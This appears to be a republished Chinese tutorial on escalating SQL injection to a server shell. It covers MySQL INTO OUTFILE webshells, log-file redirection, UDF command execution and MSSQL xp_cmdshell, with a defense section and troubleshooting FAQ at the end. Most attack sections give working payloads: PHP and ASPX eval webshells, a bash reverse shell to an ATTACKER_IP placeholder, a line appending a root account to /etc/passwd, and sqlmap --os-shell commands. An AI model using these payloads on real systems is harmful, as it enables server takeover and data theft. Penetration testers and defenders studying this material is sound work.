当前位置：首页 > news >正文

SQL注入GetShell实战：从数据库漏洞到服务器控制

news 2026/6/24 11:14:44

1. 项目概述：从SQL注入到GetShell的攻防博弈

在网络安全领域，SQL注入（SQL Injection）是一个经久不衰的话题，它就像一把能打开数据库大门的“万能钥匙”。而“GetShell”，则是攻击者梦寐以求的终极目标之一，意味着在目标服务器上获取一个命令执行环境（Shell），从而完全控制服务器。将这两者结合起来——“SQL注入漏洞GetShell”，探讨的就是如何利用一个看似普通的数据库查询漏洞，一步步撬开系统防线，最终在服务器上站稳脚跟的完整攻击链。这不仅是渗透测试工程师和红队成员的必修课，更是每一位Web开发者和安全运维人员必须深刻理解并严防死守的防线。

我接触过太多因为一个不起眼的输入框未做过滤，而导致整个内网沦陷的案例。攻击者往往不需要多么高深的0day漏洞，利用SQL注入，配合服务器配置不当或特定功能，就能实现GetShell。这个过程充满了技术细节和逻辑跳跃，理解它，你才能真正明白“安全是一个整体”的含义。本文将抛开晦涩的理论，以实战视角，结合常见的靶场环境（如DVWA、Pikachu）和真实场景，拆解几种主流的通过SQL注入GetShell的方式，并深入探讨其背后的原理、操作步骤以及最关键的——如何防御。

2. 核心思路：为什么SQL注入能通向GetShell？

在深入具体方法之前，我们必须先理清一个核心逻辑：SQL注入的本质是“数据”层（数据库）的漏洞，而GetShell是“系统”层（操作系统）的控制权。两者之间看似隔着一道鸿沟，攻击者是如何搭建桥梁的？

关键在于利用数据库的特性或功能，将恶意代码从“数据”领域渗透到“执行”领域。数据库管理系统（如MySQL、MSSQL、PostgreSQL）并非一个孤立的黑盒，它提供了多种与操作系统交互的接口和功能。攻击者的思路就是，先通过SQL注入获得高权限的数据库操作能力（通常是DBA权限），然后利用这些数据库功能去读写服务器文件，甚至执行系统命令。

这个链条可以简化为：发现SQL注入点 -> 提权至数据库高权限账户 -> 利用数据库的“特殊功能”进行文件操作或命令执行 -> 写入WebShell或直接建立反向连接 -> 获得服务器Shell。

其中，数据库的“特殊功能”因数据库类型而异，这也是不同GetShell方式的技术分水岭。例如，MySQL的SELECT ... INTO OUTFILE语句、MSSQL的xp_cmdshell存储过程、PostgreSQL的COPY命令或大对象操作等。接下来，我们将逐一拆解这些具体的技术路径。

2.1 前提条件与权限分析

不是每一次SQL注入都能轻松GetShell，它严重依赖于以下几个前提条件，这也是我们在实战中需要优先探测的信息：

数据库当前用户权限：这是最核心的一点。你需要知道当前数据库连接用户是普通用户（如仅能查询某个表）还是数据库管理员（DBA）。只有DBA或拥有FILE_PRIV（文件权限）的用户，才能执行写文件等危险操作。在MySQL中，可以通过注入查询SELECT user(), super_priv FROM mysql.user WHERE user = user()来确认。
secure_file_priv参数（MySQL）：这是MySQL中控制LOAD DATA INFILE和SELECT ... INTO OUTFILE语句能向何处写入文件的关键系统变量。如果它的值为NULL，则禁止文件导入导出；如果为某个目录路径（如/var/lib/mysql-files/），则只能向该目录写入；如果为空字符串''，则可以向任意有权限的目录写入。通过注入查询SHOW VARIABLES LIKE ‘secure_file_priv’可以获取其值。
Web目录的绝对路径：要想通过写入WebShell来GetShell，你必须知道网站根目录在服务器上的绝对路径（如/var/www/html/）。否则，你写入了文件也无法通过Web访问。路径信息可能通过报错信息、phpinfo页面、静态文件路径推测等方式泄露。
数据库类型与版本：不同数据库的GetShell方法完全不同。需要先通过注入判断数据库类型和版本，例如MySQL、MSSQL还是PostgreSQL。

注意：在实际的授权渗透测试中，获取Web绝对路径通常是一个关键且需要技巧的环节。除了数据库报错，还可以尝试读取服务器配置文件（如/etc/passwd，然后根据用户推测）、利用Web应用本身的特性（如文件上传、日志记录）或进行合理的路径爆破。

3. 方式一：利用MySQL的`INTO OUTFILE`写WebShell

这是MySQL环境下最经典、最直接的GetShell方式，堪称“教科书式”的攻击。

3.1 原理深度解析

MySQL提供了SELECT ... INTO OUTFILE ‘file_name’语句，允许将查询结果写入服务器上的一个文件。这个功能本意是用于数据导出。当攻击者通过SQL注入获得了DBA权限，并且secure_file_priv设置允许向目标目录写入时，他就可以构造一个特殊的查询，将一段恶意代码（如PHP的WebShell）写入到Web可访问的目录中。

写入的“内容”就是SELECT的查询结果。因此，攻击者会构造一个查询，其“结果”就是一段完整的WebShell代码。例如，查询SELECT “<?php @eval($_POST[‘cmd’]);?>”的结果就是那段PHP一句话木马。

3.2 完整实操步骤与语句构造

假设我们已经通过前期注入，确认了以下信息：

数据库类型：MySQL
当前用户：root（拥有FILE权限）
secure_file_priv：值为空（‘’）
网站绝对路径：/var/www/html/
注入点为数字型，位于id参数。

步骤1：验证文件写入权限在注入点尝试执行：

?id=1 AND (SELECT COUNT(*) FROM mysql.user WHERE user() LIKE ‘root%’ AND file_priv=‘Y’)>0

如果返回正常，说明当前用户很可能是root且拥有文件权限。更直接的方法是：

?id=1 UNION SELECT 1, variable_value, 3 FROM information_schema.global_variables WHERE variable_name=‘secure_file_priv’

从返回结果中查看该参数的值。

步骤2：写入WebShell利用UNION SELECT联合查询，将WebShell代码写入目标文件。这里的关键是，INTO OUTFILE语句在联合查询中只能位于最后一个SELECT之后。

?id=-1 UNION SELECT 1, “<?php @eval($_POST[‘pass’]);?>”, 3 INTO OUTFILE ‘/var/www/html/shell.php’

参数解释：

?id=-1：使原查询不返回结果，确保页面只显示我们联合查询的内容。
UNION SELECT 1, “<?php ... ?>”, 3：联合查询的三个字段，其中第二个字段是我们的一句话木马代码。字段数需与原查询一致。
INTO OUTFILE ‘/var/www/html/shell.php’：将整个联合查询的结果集写入指定文件。这里要特别注意，写入的文件内容不仅包括我们的木马，还会包括前面SELECT的字段值（1和3）。因此，实际写入shell.php文件的内容会是多行的，可能包含不可见字符，导致WebShell无法正常执行。

步骤3：优化写入内容（关键技巧）为了避免上述问题，我们需要确保写入文件的内容是“纯净”的WebShell代码。有几种技巧：

技巧A：利用GROUP_CONCAT或CONCAT控制输出。但INTO OUTFILE作用于整个结果集，此方法在简单联合查询中不易实现。
技巧B：使用LINES TERMINATED BY或FIELDS TERMINATED BY（不推荐）。这需要更复杂的语句，且容易出错。
技巧C：最可靠的方法——使用SELECT ‘木马代码’ INTO OUTFILE，而不联合其他查询。但这要求注入点能直接执行一个新的独立查询。在某些支持堆叠查询（Stacked Queries）的环境（如PHP+PDO的multi_query模式，但很少见）下可行。例如：?id=1; SELECT “<?php phpinfo();?>” INTO OUTFILE ‘/var/www/html/info.php’--+
技巧D：写入可忽略错误的WebShell。写入一个内容为<?php eval($_POST[‘a’]);?>的文件，即使前后有垃圾字符，PHP引擎在遇到<?php标签后开始解析，直到?>结束，只要中间的木马代码语法正确即可。但前面的垃圾字符可能导致<?php标签被破坏。

更通用的实战方法：在实际注入中，如果无法堆叠查询，常用以下方式写入：

?id=-1 UNION SELECT 1, 2, 3 INTO OUTFILE ‘/var/www/html/shell.php’ LINES TERMINATED BY 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E

这里，0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E是<?php @eval($_POST[‘cmd’]);?>的十六进制编码。LINES TERMINATED BY指定以这段十六进制字符串作为行终止符，由于前一个SELECT的结果（1,2,3）构成一行，遇到这个终止符后，就会将我们的木马代码作为下一行（实际上也是最后一行）写入。这样写入的文件内容就是：

1 2 3 <?php @eval($_POST[‘cmd’]);?>

第一行的1 2 3在Web访问时会被当作纯文本输出，不影响后面的PHP代码执行。访问http://target.com/shell.php，如果看到页面上显示了“1 2 3”，下面空白，说明文件写入成功且PHP代码未显示（已执行）。此时就可以用中国菜刀、蚁剑等工具连接shell.php，密码为cmd，进行文件管理或执行系统命令，从而GetShell。

3.3 实操心得与避坑指南

路径转义与引号问题：在URL中，文件路径的单引号需要正确处理。通常使用十六进制编码路径，或者确保引号被正确传递。在sqlmap中，可以使用--file-write和--file-dest参数自动化这个过程。
文件覆盖与重复写入：INTO OUTFILE不能覆盖已存在文件。如果shell.php已存在，写入会失败。尝试换一个生僻的文件名。
魔术引号（Magic Quotes）与过滤：如果目标服务器开启了魔术引号（现已废弃但仍有老系统使用），单引号会被转义，导致语句失败。此时应使用十六进制编码或CHAR()函数来绕过。例如，将SELECT ‘<?php ... ?>’中的字符串转换为SELECT CHAR(60,63,112,104,...)。
secure_file_priv的绕过：如果secure_file_priv被设置为特定目录，可以尝试向该目录写入WebShell，但前提是该目录能被Web服务器访问。或者，尝试通过日志文件、配置文件等间接路径GetShell，这引出了我们第二种方式。

4. 方式二：利用MySQL日志文件GetShell

这是一种相对迂回但非常有效的技术，尤其当secure_file_priv限制严格时。其核心思想是：让MySQL将我们的恶意查询语句记录到日志文件中，并将该日志文件设置在Web目录下，从而使其被当作PHP文件执行。

4.1 原理：通用日志与慢查询日志

MySQL有多种日志，其中通用查询日志（General Log）和慢查询日志（Slow Query Log）会记录执行的SQL语句。我们可以通过SQL注入，动态修改MySQL的全局配置，将日志文件指向Web目录，并确保日志文件以.php后缀结尾。然后，执行一条包含WebShell代码的查询，这条查询会被记录到日志文件（.php）中。最后，通过Web访问这个日志文件，其中的PHP代码就会被执行。

4.2 分步操作实录

前置条件：同样需要DBA权限（SUPER权限，用于设置全局变量）。

步骤1：探测日志状态与Web路径

-- 查看通用日志是否开启及日志路径 UNION SELECT 1, variable_value, 3 FROM information_schema.global_variables WHERE variable_name=‘general_log’ OR variable_name=‘general_log_file’ -- 查看慢查询日志状态及路径 UNION SELECT 1, variable_value, 3 FROM information_schema.global_variables WHERE variable_name=‘slow_query_log’ OR variable_name=‘slow_query_log_file’

步骤2：开启日志并设置路径假设已知Web路径为/var/www/html/。

-- 设置通用日志文件路径为Web目录下的一个php文件 UNION SELECT 1, ‘’, 3 INTO OUTFILE ‘/var/www/html/dummy.txt’ LINES TERMINATED BY 0x73657420676C6F62616C2067656E6572616C5F6C6F673D4F4E3B73657420676C6F62616C2067656E6572616C5F6C6F675F66696C653D272F7661722F7777772F68746D6C2F7368656C6C2E706870273B

上面LINES TERMINATED BY后的十六进制解码后是两条SQL命令：

set global general_log=ON; set global general_log_file=‘/var/www/html/shell.php’;

由于是通过INTO OUTFILE写入文件，这需要FILE权限。如果此路不通，可以尝试用SELECT ... INTO DUMPFILE写入一个包含这些设置语句的SQL文件，然后通过SOURCE命令执行，但流程更复杂。更直接的方式是，如果支持堆叠查询，直接执行：

?id=1; set global general_log=ON; set global general_log_file=‘/var/www/html/shell.php’; --+

步骤3：写入WebShell到日志当日志指向shell.php后，执行一条包含PHP代码的查询，该查询会被记录到日志文件。

?id=1; SELECT ‘<?php @eval($_POST[“cmd”]);?>’; --+

此时，查看/var/www/html/shell.php文件，其末尾会追加记录这次连接和查询的信息，其中就包含了我们的PHP代码。但由于日志格式包含时间戳、用户等信息，文件内容可能如下：

/usr/sbin/mysqld, Version: 5.7.40 ((Ubuntu)). started with: Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock Time Id Command Argument 2024-05-20T10:00:00.000000Z 10 Query SELECT ‘<?php @eval($_POST[“cmd”]);?>’

PHP引擎会忽略<?php ... ?>标签外的所有文本，因此这段代码依然可以执行。

步骤4：关闭日志（清理痕迹）获取Shell后，为了不持续记录敏感操作，应关闭通用日志。

?id=1; set global general_log=OFF; --+

4.3 注意事项与局限性

需要SUPER权限：修改全局变量general_log_file通常需要SUPER权限，这比FILE权限要求更高。
日志文件格式：日志文件头部的几行描述信息不是有效的PHP语法，但PHP解析器会跳过它们，直到找到<?php标签。为了更隐蔽，可以尝试写入一个只包含PHP代码的查询，但日志框架总会添加一些前缀。
文件权限：MySQL进程（通常是mysql用户）必须对Web目录有写权限。
隐蔽性差：生成的shell.php文件内容异常，容易被管理员或安全软件发现。
慢查询日志：慢查询日志只记录执行时间超过long_query_time的查询。可以通过设置long_query_time=0来让所有查询都被记录，然后触发一个包含WebShell的“慢查询”。原理类似，但步骤更多。

5. 方式三：利用UDF提权与命令执行

当无法通过写WebShell的方式GetShell时（例如，找不到Web路径、无Web服务、目录无写权限），攻击者可能会选择更底层的方案：利用用户自定义函数（UDF）来让MySQL直接执行系统命令。这是从数据库权限到系统权限的一次“质变”。

5.1 UDF提权原理简述

UDF（User-Defined Function）允许用户用C/C++编写函数，编译成动态链接库（在Windows下是DLL，在Linux下是SO文件），然后由MySQL加载并调用。一些安全研究者编写了能执行系统命令的UDF，例如sys_exec()和sys_eval()。前者返回命令的退出状态码，后者返回命令的输出。

攻击流程是：通过SQL注入的写文件功能，将恶意UDF的DLL/SO文件上传到MySQL的插件目录（如plugin_dir）→ 在MySQL中创建自定义函数指向这个库文件 → 调用该函数执行任意系统命令。

5.2 详细操作流程（以Linux为例）

步骤1：获取系统信息与插件目录

-- 查看系统架构，确定上传so文件的类型（32位还是64位） UNION SELECT 1, @@version_compile_machine, @@version_compile_os, 4 -- 查找MySQL插件目录 UNION SELECT 1, @@plugin_dir, 3, 4

假设插件目录是/usr/lib/mysql/plugin/。

步骤2：上传UDF共享库文件我们需要将编译好的.so文件（如lib_mysqludf_sys.so）的内容，通过INTO DUMPFILE或INTO OUTFILE写入到插件目录。由于是二进制文件，我们需要将其转换为十六进制形式。可以使用sqlmap自带的udf目录下的文件，或者使用Metasploit的mysql_udf_payload模块生成。在本地将lib_mysqludf_sys.so用十六进制编辑器打开，或使用命令xxd -p lib_mysqludf_sys.so | tr -d ‘\n’得到其十六进制字符串（非常长）。然后通过注入点写入：

?id=1 UNION SELECT 0x[这里是长达数万字符的十六进制数据], 2 INTO DUMPFILE ‘/usr/lib/mysql/plugin/udf.so’

INTO DUMPFILE与INTO OUTFILE的区别在于，DUMPFILE不会进行转义处理，更适合写入二进制文件。同样需要FILE权限和目标目录可写。

步骤3：创建自定义函数

-- 创建执行命令的函数，假设函数名为‘sys_eval’ CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.so’;

如果支持堆叠查询，直接执行。否则，可能需要通过复杂的查询拼接或利用预处理语句来执行CREATE FUNCTION。

步骤4：执行系统命令GetShell

-- 调用函数执行命令，例如反弹一个Shell SELECT sys_eval(‘bash -c “bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1”’); -- 或者直接添加一个用户 SELECT sys_eval(‘echo “root2:$(openssl passwd -1 123456):0:0::/root:/bin/bash” >> /etc/passwd’);

成功执行后，攻击者就在服务器上获得了命令执行能力，可以直接获得Shell。

5.3 重大风险与防御关键

条件极为苛刻：
- 需要MySQL有FILE权限写入插件目录。
- 需要插件目录可写（默认可能不可写）。
- 需要MySQL服务运行用户的权限足够高（通常mysql用户权限较低，即使能执行命令，也可能无法做太多事）。
- 需要系统架构和MySQL版本匹配对应的UDF库。
动静极大：上传二进制文件、创建函数、执行系统命令，这一系列操作在系统日志、数据库日志中会留下大量痕迹，极易被入侵检测系统（IDS/IPS）发现。
现代系统的防御：新版本的MySQL可能限制了插件目录，或加强了权限管理。一些安全防护软件会监控对plugin目录的写入行为。

实操心得：UDF提权是“大招”，也是“险招”。在真实渗透测试中，除非其他所有WebShell写入方法都失败，且目标价值极高，否则不建议轻易尝试，因为失败率和风险都很高。在CTF比赛或特定靶场中，这倒是一个很好的综合练习点。

6. 方式四：利用MSSQL的`xp_cmdshell`存储过程

对于Microsoft SQL Server，GetShell的路径更为“直白”，因为它内置了一个强大的系统扩展存储过程——xp_cmdshell。顾名思义，它可以执行操作系统命令shell。这个功能在早期版本默认开启，后来出于安全考虑默认关闭。

6.1 攻击链拆解

前提：通过注入获得MSSQL的数据库管理员（sa）或具有sysadmin服务器角色的用户权限。

步骤1：启用xp_cmdshell如果xp_cmdshell被禁用，需要先启用它。

-- 方法1：使用sp_configure（需要show advanced options） EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE; -- 方法2：如果上述方法不行，尝试直接修改系统表（风险高，痕迹重）

通过SQL注入执行时，需要构造相应的语句。例如，在基于错误的注入中，可以这样尝试：

‘; EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE; --

步骤2：执行系统命令启用后，就可以直接执行命令了。

‘; EXEC xp_cmdshell ‘whoami’; --

这会在数据库端执行whoami命令，并将结果返回（如果配置允许）。攻击者可以通过它来执行诸如写入WebShell、添加用户、启动远程服务等操作。例如，用echo命令写一个ASPX的WebShell：

‘; EXEC xp_cmdshell ‘echo ^<%@ Page Language=“C#” %^>^<%@ Import Namespace=“System.Diagnostics” %^><% Process.Start(Request[“cmd”]); %> > C:\inetpub\wwwroot\cmd.aspx’; --

注意在xp_cmdshell中，命令字符串内的特殊字符（如<,>,|）可能需要用^进行转义。

6.2 权限与对抗

权限继承：xp_cmdshell默认以SQL Server服务账户的身份运行命令。如果该账户是本地系统账户SYSTEM或高权限管理员，那么攻击者将获得极高的系统权限。
防御与检测：现代MSSQL版本默认关闭xp_cmdshell，并且安全审计会重点监控对其的启用和调用操作。安全设备很容易识别EXEC xp_cmdshell这样的特征字符串。
替代方案：如果xp_cmdshell被彻底移除或无法启用，攻击者可能会转向其他扩展存储过程，如sp_OACreate（利用OLE自动化对象）来执行命令，但原理更复杂。

7. 自动化工具实战：使用sqlmap完成GetShell

手工注入虽然能加深理解，但效率低下。在实际渗透测试中，sqlmap是自动化探测和利用SQL注入的神器。它同样支持利用上述原理进行GetShell。

7.1 sqlmap相关参数详解

假设我们已经用sqlmap找到了一个注入点（-u “http://target.com/page?id=1“），并且确认当前用户有DBA权限（--is-dba）。

文件写入：这是最常用的GetShell方式。
```
sqlmap -u “http://target.com/page?id=1” --file-write=“/local/path/to/shell.php” --file-dest=“/remote/web/path/shell.php”
```
- --file-write：本地待上传的WebShell文件路径。
- --file-dest：要写入到目标服务器的完整路径。
- 原理：sqlmap会自动尝试多种方法（如SELECT ... INTO OUTFILE/DUMPFILE）将文件内容写入目标位置。它会处理字符编码、引号转义等问题。
命令执行与交互式Shell：
- 通过--os-cmd执行单条命令：
```
sqlmap -u “http://target.com/page?id=1” --os-cmd=“whoami”
```
  sqlmap会尝试多种数据库特有的命令执行技术（如MySQL的UDF、MSSQL的xp_cmdshell、PostgreSQL的COPY TO PROGRAM），并返回结果。
- 获取交互式操作系统Shell：
```
sqlmap -u “http://target.com/page?id=1” --os-shell
```
  这会提供一个伪终端，可以连续执行系统命令。sqlmap会在后台自动上传一个用于命令执行的小型脚本（通常是PHP、ASP等），并通过它来中继你的命令。
暴力破解路径：如果不知道Web绝对路径，可以结合--common-files或自定义字典来爆破。
```
sqlmap -u “http://target.com/page?id=1” --common-files
```

7.2 实战流程与结果分析

一个典型的自动化GetShell流程如下：

# 1. 基础探测 sqlmap -u “http://target.com/vuln.php?id=1” --batch --dbs # 2. 检查是否为DBA sqlmap -u “http://target.com/vuln.php?id=1” --batch --is-dba # 3. 查找Web路径（通过报错、常见文件等） sqlmap -u “http://target.com/vuln.php?id=1” --batch --current-db --hostname --current-user # 有时会包含路径信息 # 或者尝试读取包含路径的配置文件 sqlmap -u “http://target.com/vuln.php?id=1” --batch --file-read=“/etc/passwd” # 4. 写入WebShell（假设已知路径为 /var/www/html/） sqlmap -u “http://target.com/vuln.php?id=1” --batch --file-write=“./shell.php” --file-dest=“/var/www/html/images/shell.php” # 5. 验证Shell curl http://target.com/images/shell.php

执行--file-write时，sqlmap会输出详细的尝试过程：

[INFO] the back-end DBMS is MySQL [INFO] fetching file: /etc/passwd [INFO] retrieved: /etc/passwd [INFO] analyzing table dump for possible web server absolute path [INFO] retrieved: /var/www/html [INFO] writing to: /var/www/html/images/shell.php [INFO] done

如果成功，访问该URL即可看到WebShell界面或执行命令。

避坑技巧：使用sqlmap的--random-agent和--delay参数可以降低请求频率，规避简单的WAF封锁。对于--os-shell，如果目标环境特殊（如无Web目录写权限），sqlmap可能会失败，此时需要回归手工分析，寻找其他出路。

8. 防御之道：从根源上杜绝SQL注入GetShell

了解了攻击手段，防御思路就清晰了。目标就是斩断“SQL注入->高权限->文件操作/命令执行->GetShell”这条链上的每一个环节。

根本：杜绝SQL注入
- 使用参数化查询（Prepared Statements）或ORM框架：这是唯一能从根本上防止SQL注入的方法。确保所有用户输入都作为参数传递，而不是拼接进SQL字符串。
- 严格的输入验证与过滤：对输入的类型、长度、格式进行白名单验证。但切勿依赖黑名单过滤，很容易被绕过。
- 最小权限原则：为数据库连接账户分配最小必需的权限。永远不要使用root或sa账户连接Web应用。创建一个仅对特定库有SELECT、INSERT、UPDATE、DELETE权限的用户，坚决不给DROP、CREATE、FILE、GRANT OPTION等危险权限。
- 错误信息处理：自定义错误页面，避免将数据库的详细错误信息（如SQL语句、表结构）直接返回给用户。
关键：限制数据库危险功能
- MySQL：
  - 设置secure_file_priv为NULL或一个非Web目录的特定路径。这是防止INTO OUTFILE攻击的最有效配置。
  - 禁用LOAD_FILE()函数（如果业务不需要）。
  - 移除或限制FILE权限。
- MSSQL：
  - 禁用xp_cmdshell存储过程。使用EXEC sp_configure ‘xp_cmdshell’, 0; RECONFIGURE;。
  - 定期审计和删除不必要的扩展存储过程。
- PostgreSQL：谨慎授予COPY命令和pg_read_file等函数的执行权限。
加固：操作系统与Web服务器层面
- 运行账户降权：MySQL、MSSQL等服务不要以root或SYSTEM身份运行。使用专用的低权限账户。
- 文件系统权限：确保Web目录对数据库进程用户（如mysql）只有读权限，没有写权限。将网站代码目录和数据库数据目录、日志目录严格分离。
- 目录访问控制：通过Web服务器（如Nginx的deny all）或系统防火墙，禁止直接访问日志目录、数据目录等敏感路径。
- 部署WAF：Web应用防火墙可以在HTTP层拦截带有明显SQL注入特征的请求，以及INTO OUTFILE、xp_cmdshell等关键词。
- 定期安全审计与更新：定期进行代码审计、渗透测试，及时更新数据库和Web服务器补丁。

9. 常见问题与排查技巧实录

在实际操作和教学过程中，我总结了一些高频问题和解决思路：

Q1：手工注入时，UNION SELECT写入文件成功，但访问WebShell返回500错误或空白页？

排查：首先查看写入文件的内容。用LOAD_FILE()函数读取（如果有权限），或者尝试写入一个简单的<?php phpinfo();?>测试。常见原因：
- 文件内容污染：UNION SELECT写入时夹杂了其他字段值或行终止符，破坏了PHP标签。解决方案：使用LINES TERMINATED BY十六进制编码法，或尝试通过SELECT ‘木马’ INTO OUTFILE（需堆叠查询）。
- 短标签问题：目标服务器可能关闭了短标签支持。解决方案：使用完整的<?php ?>标签。
- 代码被转义或过滤：如果魔术引号开启，单双引号会被加反斜杠。解决方案：使用十六进制编码或CHAR()函数表示字符串。
- 权限问题：Web服务器用户（如www-data）对文件有读权限，但可能因为SELinux、AppArmor等安全模块限制而无法执行。解决方案：检查文件权限和SELinux上下文。

Q2：sqlmap的--os-shell执行失败，提示“无法写入文件”或“无法创建临时文件”？

排查：这通常是因为sqlmap无法在Web目录找到可写位置来上传它的命令执行脚本。
- 尝试指定路径：先用--file-write和--file-dest手动上传一个简单的WebShell，确认可写路径。
- 尝试其他技术：使用--os-cmd指定单一命令，sqlmap可能会尝试不依赖Web文件写入的技术（如MySQL UDF，如果条件满足）。
- 检查权限与安全配置：目标目录可能不可写，或者有安全软件拦截。

Q3：在CTF或靶场中，明明有注入点，但INTO OUTFILE一直失败？

排查：靶场环境常常故意设置障碍来考察综合能力。
- 检查secure_file_priv：这是第一道坎。
- 检查当前用户权限：FILE_PRIV是否为Y。
- 检查路径：路径是否正确？是否包含单引号？尝试用十六进制编码路径名。
- 靶场特性：有些靶场（如某些CTF题目）的数据库可能是SQLite或Access，不支持INTO OUTFILE。需要先判断数据库类型。

Q4：UDF提权时，创建函数失败，提示“Can‘t open shared library”？

排查：
- 库文件兼容性：确认上传的.so或.dll文件与目标系统的架构（x86/x64）和MySQL版本完全匹配。
- 插件目录错误：确认@@plugin_dir的路径，并确保文件写入了这个目录。
- 库文件损坏：十六进制转换或传输过程中可能导致文件损坏。可以尝试在本地用md5sum校验，并在目标服务器上（如果能有其他方式读文件）校验。
- 安全限制：某些MySQL版本（如MariaDB的一些发行版）可能编译时加入了安全选项，限制了UDF加载。

Q5：如何快速判断一个SQL注入点是否有可能GetShell？

信息收集四部曲：
1. SELECT user();或SELECT current_user();-> 判断是否为高权限用户（root, sa等）。
2. SELECT super_priv FROM mysql.user WHERE user=user();(MySQL) -> 确认SUPER权限。
3. SHOW VARIABLES LIKE ‘secure_file_priv’;(MySQL) -> 确认文件导出限制。
4. SELECT @@version;-> 确认数据库类型和版本，决定后续利用方法。如果前三步结果理想，那么GetShell的可能性就非常大。接下来就是寻找Web路径，选择合适的攻击方式。

理解SQL注入到GetShell的完整链条，是一个从Web应用到数据库再到操作系统的纵深思考过程。它强迫你不仅关注一个点的漏洞，更要审视整个系统的安全配置和信任边界。对于防御者而言，这提醒我们安全是一个体系，任何一个环节的疏漏，都可能被攻击者串联起来，形成致命的突破。最好的防御，就是在设计之初，就遵循最小权限原则和纵深防御理念，让攻击者即便找到了注入点，也寸步难行。

查看全文

http://www.jsqmd.com/news/1072341/